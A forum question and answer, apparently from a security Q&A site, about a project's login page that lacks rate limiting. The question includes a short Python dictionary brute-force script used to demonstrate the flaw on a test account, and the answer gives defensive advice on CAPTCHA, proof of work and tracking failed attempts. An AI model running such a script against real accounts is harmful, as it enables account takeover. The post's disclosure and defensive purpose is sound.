Is this Python login practically insecure?

Question

I was making a bot to sign on the the site of an open-source project's website(not going to mention any names), and I noticed that my bot was not hitting a max login attempts ban no matter how many times I attempted to login with incorrect credentials.

def login(account,passwd):
    r = requests.post("http://nottheprojectname.com/~~app/action.php",
                    data={'act': "login",
                          'name': account,
                          'pass': passwd,
                          'keyid': ""
                    })

return r.text

I was using a Python script like the one shown above to login, and I decided to make a test script demonstrate how an account could be brute-forced.

import re
import requests    

def dictionary_crack(account):
    attempts = 0
    with open('giant_PW_list.txt', 'r') as f:
        for passwd in f:
            resp = login(account, passwd)
            if re.findall("loggedin\"\:[a-z]+",resp) == [u'loggedin":true']:
                return account + ": " + passwd
            else:
                attempts += 1
                print trys
        else:
            input("All login attemts on "+account+" failed")

I showed this script to the admins of the project, and they dismissed it saying it wouldn't work because the login attempts would be to slow to preform. However, I tried this on a test account I made and was able to preform around 10,000 login attempts a minute with one of these scripts running. Not extremely fast for a brute-force attack, but it certainly doesn't seem negligible(especially if multiple attacks were preformed simultaneously on the same account at once with sequential dictionaries).

This all seems ridiculous and easily fixable to me. I am not experienced in web-security, so I feel conflicted correcting people who are much more knowledgeable in the field of web-security than I am.

Answer 1

The server should track bad login attempts by username and by password. You need to store this in app/global state, not session.

Don't even bother tracking IP addy, blackhat will just use an anonymyzing proxy.

Upon U bad username login attempts or P bad password attempts the server should demand a correct CAPTCHA value or Proof of Work†.

If user authenticates, return an HMAC'd "trusted user agent" cookie, so the user can skip CAPTCHA or Proof of Work in the future.

Don't lock out people's accounts, as you're just letting a hacker DoS them. Don't sleep() on the server, as you're keeping connections open longer than necessary, possibly DoSing yourself.

You can do a lot of this with modsecurity.

Here's the OWASP guide: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks

† Have the web browser calculate the prime factors of a real big number